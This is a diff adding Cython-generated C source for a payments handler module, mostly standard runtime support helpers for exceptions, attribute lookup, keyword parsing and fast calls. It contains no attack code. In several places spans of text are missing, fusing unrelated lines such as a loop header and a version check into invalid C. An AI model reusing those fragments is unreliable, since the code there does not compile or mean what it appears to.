__Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.stars_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.stars_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif 